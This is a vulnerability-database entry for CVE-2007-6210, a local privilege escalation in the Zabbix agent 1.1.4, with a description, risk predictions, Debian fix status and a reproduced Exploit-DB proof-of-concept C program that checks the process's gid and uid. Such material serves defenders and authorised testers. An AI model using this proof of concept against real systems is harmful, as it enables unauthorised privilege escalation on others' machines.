CVE-2007-6210
unknown
CVSS v3
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CVSS v4 NEW
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VIR risk
1.0
Description
zabbix_agentd 1.1.4 in ZABBIX before 1.4.3 runs "UserParameter" scripts with gid 0, which might allow local users to gain privileges.
Predictions
Exploit likelihood
20%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Zabbix 1.1.4/1.4.2 - 'daemon_start' Local Privilege Escalation
#include <sys/types.h>
#include <unistd.h>
#include <pwd.h>
#include <stdio.h>
int main()
{
struct passwd *pw;
pw = getpwnam("abi");
FILE *pipe;
char buf[25];
setgid(pw->pw_gid);
setuid(pw->pw_uid);
printf("my gid: %d\n", getegid());
printf("my uid: %d\n", getuid());
pipe = popen("/usr/bin/id", "r");
while (fgets(buf, sizeof buf, pipe)) {
printf("%s", buf);
}
printf("\n");
pclose(pipe);
}OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 1:1.4.2-4 |
| sid | Fixed | 1:1.4.2-4 |
| forky | Fixed | 1:1.4.2-4 |
| bullseye | Fixed | 1:1.4.2-4 |
| bookworm | Fixed | 1:1.4.2-4 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
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